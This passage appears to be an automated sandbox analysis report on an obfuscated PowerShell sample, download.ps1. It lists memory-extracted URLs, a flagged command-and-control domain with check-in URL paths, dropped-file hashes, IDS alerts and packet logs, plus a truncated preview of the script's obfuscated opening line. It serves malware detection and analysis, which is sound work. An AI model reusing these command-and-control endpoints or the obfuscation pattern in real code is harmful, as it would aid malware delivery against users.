                                                https://play.google.com/?hl=en&tab=w8powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://kcehmenjdibnmni.toppowershell.exe, 00000000.00000002.1366056873.000001B629094000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B628DCF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  http://nuget.org/NuGet.exepowershell.exe, 00000000.00000002.1390914048.000001B637953000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://www.google.com/imghp?hl=en&tab=wipowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://www.google.com/shopping?hl=en&source=og&tab=wfpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://lh3.googleusercontent.com/ogw/default-user=s96powershell.exe, 00000000.00000002.1390914048.000001B637ABC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B6378E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637BDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1390914048.000001B637B4E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://drive.google.com/?tab=wopowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://contoso.com/Iconpowershell.exe, 00000000.00000002.1390914048.000001B637953000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://0.googlepowershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    https://mail.google.com/mail/?tab=wmpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://crl.microsoft.powershell.exe, 00000000.00000002.1400694010.000001B63FCCE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      • Avira URL Cloud: safe
                                                                      		unknown
                                                                      https://github.com/Pester/Pesterpowershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://www.youtube.com/?tab=w1powershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://0.google.powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          https://lh3.googleusercontent.com/ogw/default-user=s96Xpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://0.google.com/powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            https://lh3.googleusercontent.com/ogw/default-user=s24powershell.exe, 00000000.00000002.1366056873.000001B6290FC000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://www.google.com/history/optout?hl=enpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://books.google.com/?hl=en&tab=wppowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://translate.google.com/?hl=en&tab=wTpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000000.00000002.1366056873.000001B627B08000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://www.google.com/intl/en/about/products?tab=whXpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://calendar.google.com/calendar?tab=wcpowershell.exe, 00000000.00000002.1366056873.000001B6297C8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://aka.ms/pscore68powershell.exe, 00000000.00000002.1366056873.000001B6278E1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            https://lh3.googleusercontent.com/ogw/default-user=s24Xpowershell.exe, 00000000.00000002.1366056873.000001B6291B1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              		high

                                                                                              World Map of Contacted IPs

                                                                                              • No. of IPs < 25%
                                                                                              • 25% < No. of IPs < 50%
                                                                                              • 50% < No. of IPs < 75%
                                                                                              • 75% < No. of IPs

                                                                                              Public IPs

                                                                                              IPDomainCountryFlagASNASN NameMalicious
                                                                                              45.61.136.138
                                                                                              		kcehmenjdibnmni.topUnited States
                                                                                              		40676AS40676UStrue
                                                                                              142.250.184.228
                                                                                              		www.google.comUnited States
                                                                                              		15169GOOGLEUSfalse

                                                                                              General Information

                                                                                              Joe Sandbox version:41.0.0 Charoite
                                                                                              Analysis ID:1583787
                                                                                              Start date and time:2025-01-03 15:20:09 +01:00
                                                                                              Joe Sandbox product:CloudBasic
                                                                                              Overall analysis duration:0h 4m 23s
                                                                                              Hypervisor based Inspection enabled:false
                                                                                              Report type:full
                                                                                              Cookbook file name:default.jbs
                                                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                              Number of analysed new started processes analysed:15
                                                                                              Number of new started drivers analysed:0
                                                                                              Number of existing processes analysed:0
                                                                                              Number of existing drivers analysed:0
                                                                                              Number of injected processes analysed:0
                                                                                              Technologies:
                                                                                              • HCA enabled
                                                                                              • EGA enabled
                                                                                              • AMSI enabled
                                                                                              Analysis Mode:default
                                                                                              Analysis stop reason:Timeout
                                                                                              Sample name:download.ps1
                                                                                              Detection:MAL
                                                                                              Classification:mal76.evad.winPS1@2/7@2/2
                                                                                              EGA Information:Failed
                                                                                              HCA Information:
                                                                                              • Successful, ratio: 100%
                                                                                              • Number of executed functions: 13
                                                                                              • Number of non-executed functions: 3
                                                                                              Cookbook Comments:
                                                                                              • Found application associated with file extension: .ps1

                                                                                              Warnings

                                                                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
                                                                                              • Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.175.87.197
                                                                                              • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                                                                                              • Execution Graph export aborted for target powershell.exe, PID 7276 because it is empty
                                                                                              • Not all processes where analyzed, report is missing behavior information
                                                                                              • Report size getting too big, too many NtCreateKey calls found.
                                                                                              • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                                                              Simulations

                                                                                              Behavior and APIs

                                                                                              TimeTypeDescription
                                                                                              09:21:06API Interceptor43x Sleep call for process: powershell.exe modified

                                                                                              Joe Sandbox View / Context

                                                                                              IPs

                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                              45.61.136.138download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • kcehmenjdibnmni.top/aoter2umlhhtr.php?id=computer&key=39417889290&s=527
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • kcehmenjdibnmni.top/kqmlncu4i7htr.php?id=user-PC&key=66425560744&s=527
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • kcehmenjdibnmni.top/r2wafo1tlyhtr.php?id=computer&key=85323043609&s=527
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • kcehmenjdibnmni.top/mra3hxz5j7htr.php?id=user-PC&key=48227644320&s=527
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • kdemjgebjimkanl.top/m0lf52z7dihtr.php?id=computer&key=66194449366&s=527
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • kdemjgebjimkanl.top/67wr8lha3ohtr.php?id=user-PC&key=72208797663&s=527
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • kdemjgebjimkanl.top/4qai6vxy03htr.php?id=computer&key=89124909218&s=527
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • kdemjgebjimkanl.top/du64swbeqthtr.php?id=user-PC&key=115667688416&s=527
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • gajaechkfhfghal.top/he0j3zgk4xhtr.php?id=computer&key=74358253620&s=527
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • gajaechkfhfghal.top/u642xz31jvhtr.php?id=user-PC&key=84925345116&s=527

                                                                                              Domains

                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                              kcehmenjdibnmni.topdownload.ps1Get hashmaliciousUnknownBrowse
                                                                                              • 45.61.136.138
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • 45.61.136.138
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • 45.61.136.138
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • 45.61.136.138

                                                                                              ASNs

                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                              AS40676USdownload.ps1Get hashmaliciousUnknownBrowse
                                                                                              • 45.61.136.138
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • 45.61.136.138
                                                                                              EwpsQzeky5.msiGet hashmaliciousUnknownBrowse
                                                                                              • 193.32.177.34
                                                                                              EwpsQzeky5.msiGet hashmaliciousUnknownBrowse
                                                                                              • 193.32.177.34
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • 45.61.136.138
                                                                                              download.ps1Get hashmaliciousUnknownBrowse
                                                                                              • 45.61.136.138
                                                                                              loligang.sh4.elfGet hashmaliciousMiraiBrowse
                                                                                              • 23.179.110.57
                                                                                              CH2emxsgb7.msiGet hashmaliciousUnknownBrowse
                                                                                              • 193.32.177.34
                                                                                              MJhe4xWsnR.msiGet hashmaliciousUnknownBrowse
                                                                                              • 193.32.177.34
                                                                                              CH2emxsgb7.msiGet hashmaliciousUnknownBrowse
                                                                                              • 193.32.177.34

                                                                                              JA3 Fingerprints

                                                                                              ⊘No context

                                                                                              Dropped Files

                                                                                              ⊘No context

                                                                                              Created / dropped Files

                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              File Type:data
                                                                                              Category:dropped
                                                                                              Size (bytes):64
                                                                                              Entropy (8bit):1.1940658735648508
                                                                                              Encrypted:false
                                                                                              SSDEEP:3:NlllulTtktllZ:NllUuX
                                                                                              MD5:238E01AD876C3CF6EA4E25CEB98355F7
                                                                                              SHA1:6E077B82CD77A2F63DE72BB8E2593A6491D36D8B
                                                                                              SHA-256:415B515AC5B7EB598EE6AFDF2F5D5B434045CD62E0BD9D35F2C13B6E6B28C318
                                                                                              SHA-512:BFCFB65E5DFD8F89089CF4E796CBDC812D4699C95EE58CA39776FDE77C754DE563F3045026A7EB672A31810C39CF0587551985D95AC97B22790F8951E1ED6F30
                                                                                              Malicious:false
                                                                                              Reputation:low
                                                                                              Preview:@...e...................................)............@..........

                                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0fhqpyv2.n4c.ps1

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              File Type:ASCII text, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):60
                                                                                              Entropy (8bit):4.038920595031593
                                                                                              Encrypted:false
                                                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                              Malicious:false
                                                                                              Reputation:high, very likely benign file
                                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c1fhjrrk.tkn.psm1

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              File Type:ASCII text, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):60
                                                                                              Entropy (8bit):4.038920595031593
                                                                                              Encrypted:false
                                                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                              Malicious:false
                                                                                              Reputation:high, very likely benign file
                                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tigawooi.gqd.ps1

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              File Type:ASCII text, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):60
                                                                                              Entropy (8bit):4.038920595031593
                                                                                              Encrypted:false
                                                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                              Malicious:false
                                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ucbuf05o.4qw.psm1

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              File Type:ASCII text, with no line terminators
                                                                                              Category:dropped
                                                                                              Size (bytes):60
                                                                                              Entropy (8bit):4.038920595031593
                                                                                              Encrypted:false
                                                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                              Malicious:false
                                                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              File Type:data
                                                                                              Category:dropped
                                                                                              Size (bytes):6225
                                                                                              Entropy (8bit):3.740155663491611
                                                                                              Encrypted:false
                                                                                              SSDEEP:96:L7CwSCJrhikvhkvCCts7LJXZHT7LJVZHf:L7Cw/0s7P7J
                                                                                              MD5:1D86D676178EC69534F9A0C60B6BE69A
                                                                                              SHA1:F5AD7427F5FC805878159E9899137D7E343889C9
                                                                                              SHA-256:8E4957CD92A04A9E2E876656CDBA5E8BBD003DFB860B7C4A1BD94A4E240DF6F2
                                                                                              SHA-512:BE5620B88E0C9F6B6A38697124EDD90CB51035DC281534FBFFFDAA7D9551E09656A55BAF32AEED6A2F94BCDF8C366D9768A568104D180E01CAA235FA85A895FE
                                                                                              Malicious:false
                                                                                              Preview:...................................FL..................F.".. .....*_...?.E..]..z.:{.............................:..DG..Yr?.D..U..k0.&...&......Qg.*_...`....]...2O..]......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=#Z.r..........................3*N.A.p.p.D.a.t.a...B.V.1.....#Z.r..Roaming.@......EW.=#Z.r...........................%..R.o.a.m.i.n.g.....\.1.....EW|>..MICROS~1..D......EW.=#Z.r..............................M.i.c.r.o.s.o.f.t.....V.1.....EW.>..Windows.@......EW.=#Z.r............................+.W.i.n.d.o.w.s.......1.....EW.=..STARTM~1..n......EW.=#Z.r....................D.....ZN..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW{>..Programs..j......EW.=#Z.r....................@.....;.".P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW.=EW.=..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW.=#Z.r....9...........

                                                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F7HQ5EGGL2MMA1TBR8W1.temp

                                                                                              Download File
                                                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                              File Type:data
                                                                                              Category:dropped
                                                                                              Size (bytes):6225
                                                                                              Entropy (8bit):3.740155663491611
                                                                                              Encrypted:false
                                                                                              SSDEEP:96:L7CwSCJrhikvhkvCCts7LJXZHT7LJVZHf:L7Cw/0s7P7J
                                                                                              MD5:1D86D676178EC69534F9A0C60B6BE69A
                                                                                              SHA1:F5AD7427F5FC805878159E9899137D7E343889C9
                                                                                              SHA-256:8E4957CD92A04A9E2E876656CDBA5E8BBD003DFB860B7C4A1BD94A4E240DF6F2
                                                                                              SHA-512:BE5620B88E0C9F6B6A38697124EDD90CB51035DC281534FBFFFDAA7D9551E09656A55BAF32AEED6A2F94BCDF8C366D9768A568104D180E01CAA235FA85A895FE
                                                                                              Malicious:false
                                                                                              Preview:...................................FL..................F.".. .....*_...?.E..]..z.:{.............................:..DG..Yr?.D..U..k0.&...&......Qg.*_...`....]...2O..]......t...CFSF..1.....EW.=..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.=#Z.r..........................3*N.A.p.p.D.a.t.a...B.V.1.....#Z.r..Roaming.@......EW.=#Z.r...........................%..R.o.a.m.i.n.g.....\.1.....EW|>..MICROS~1..D......EW.=#Z.r..............................M.i.c.r.o.s.o.f.t.....V.1.....EW.>..Windows.@......EW.=#Z.r............................+.W.i.n.d.o.w.s.......1.....EW.=..STARTM~1..n......EW.=#Z.r....................D.....ZN..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EW{>..Programs..j......EW.=#Z.r....................@.....;.".P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW.=EW.=..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW.=#Z.r....9...........

                                                                                              Static File Info

                                                                                              General

                                                                                              File type:ASCII text, with very long lines (10711), with CRLF line terminators
                                                                                              Entropy (8bit):5.994481132514316
                                                                                              TrID:
                                                                                                File name:download.ps1
                                                                                                File size:19'673 bytes
                                                                                                MD5:c9c8de8ed1567a61b95b5ff35fe2dc78
                                                                                                SHA1:d49f074633396ed62eb7a38182c76c4af2982e5d
                                                                                                SHA256:5e110c6a75fe27b5397c78238bc5a434d145ee95af9ea17ac82864588e1fe66e
                                                                                                SHA512:0bd41e2a815c0c5920e74ae7efad8250dff98658f486f06c7e1d1c70e8b757c19cbc1488e055e39fd07f9556b094c4fbd126b855df8581552e5033d374358986
                                                                                                SSDEEP:384:5ZKO/JMElLxVLDzz4RSoMKTPKqAyv6UOg66Pq7rGcW/8YZRfw+TYoA1:7/XVEXCq7q753Kxw+TYoA1
                                                                                                TLSH:8A926CB47748E8F5C18AD66E4A06BC183B9579AFD2DB18C4BFF9AAC633002407F5D941
                                                                                                File Content Preview:$zqhnlj=$executioncontext;$isenbeorbeisaratarrere = (-jOiN (@((-5780+5833),(3716-3664),(227772/(11487-(13996-(59689880/9176)))),(7567-7517),(112784/(7987-5973)),(143154/2651),(567952/(18450-8308)),(-9666+(7104+2617)),(-8689+(9594-(3478-(6610-(6308-2326)))

                                                                                                File Icon

                                                                                                Icon Hash:3270d6baae77db44

                                                                                                Network Behavior

                                                                                                Suricata IDS Alerts

                                                                                                TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                2025-01-03T15:21:11.628016+01002859488ETPRO MALWARE TA582 Domain in DNS Lookup1192.168.2.7523311.1.1.153UDP
                                                                                                2025-01-03T15:21:12.779380+01001810000Joe Security ANOMALY Windows PowerShell HTTP activity2192.168.2.74969945.61.136.13880TCP
                                                                                                2025-01-03T15:21:12.779380+01002057741ET MALWARE TA582 CnC Checkin1192.168.2.74969945.61.136.13880TCP
                                                                                                2025-01-03T15:21:13.469329+01001810000Joe Security ANOMALY Windows PowerShell HTTP activity2192.168.2.749700142.250.184.22880TCP

                                                                                                Network Port Distribution

                                                                                                TCP Packets

                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                Jan 3, 2025 15:21:12.041538000 CET4969980192.168.2.745.61.136.138
                                                                                                Jan 3, 2025 15:21:12.046374083 CET804969945.61.136.138192.168.2.7
                                                                                                Jan 3, 2025 15:21:12.046454906 CET4969980192.168.2.745.61.136.138
                                                                                                Jan 3, 2025 15:21:12.075450897 CET4969980192.168.2.745.61.136.138
                                                                                                Jan 3, 2025 15:21:12.080260038 CET804969945.61.136.138192.168.2.7
                                                                                                Jan 3, 2025 15:21:12.728065014 CET804969945.61.136.138192.168.2.7
                                                                                                Jan 3, 2025 15:21:12.751266003 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:12.756164074 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:12.756272078 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:12.756426096 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:12.761257887 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:12.779380083 CET4969980192.168.2.745.61.136.138
                                                                                                Jan 3, 2025 15:21:13.469183922 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.469273090 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.469285011 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.469311953 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.469329119 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.469329119 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.469341040 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.469355106 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.469367027 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.469378948 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.469383955 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.469399929 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.469399929 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.469418049 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.469436884 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.474311113 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.474324942 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.474381924 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.561021090 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.561067104 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.561081886 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.561096907 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.561114073 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.561114073 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.561157942 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.563635111 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.563647032 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.563695908 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.563721895 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.563750982 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.563770056 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.569950104 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.569963932 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.569977045 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.570079088 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.570079088 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.576745987 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.576780081 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.576791048 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.576850891 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.582561016 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.582573891 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.582586050 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.582608938 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.582628012 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.588835955 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.588851929 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.588867903 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.588921070 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.594944000 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.594954967 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.595005989 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.595041990 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.595061064 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.595103025 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.601294041 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.601308107 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.601320982 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.601341963 CET4970080192.168.2.7142.250.184.228
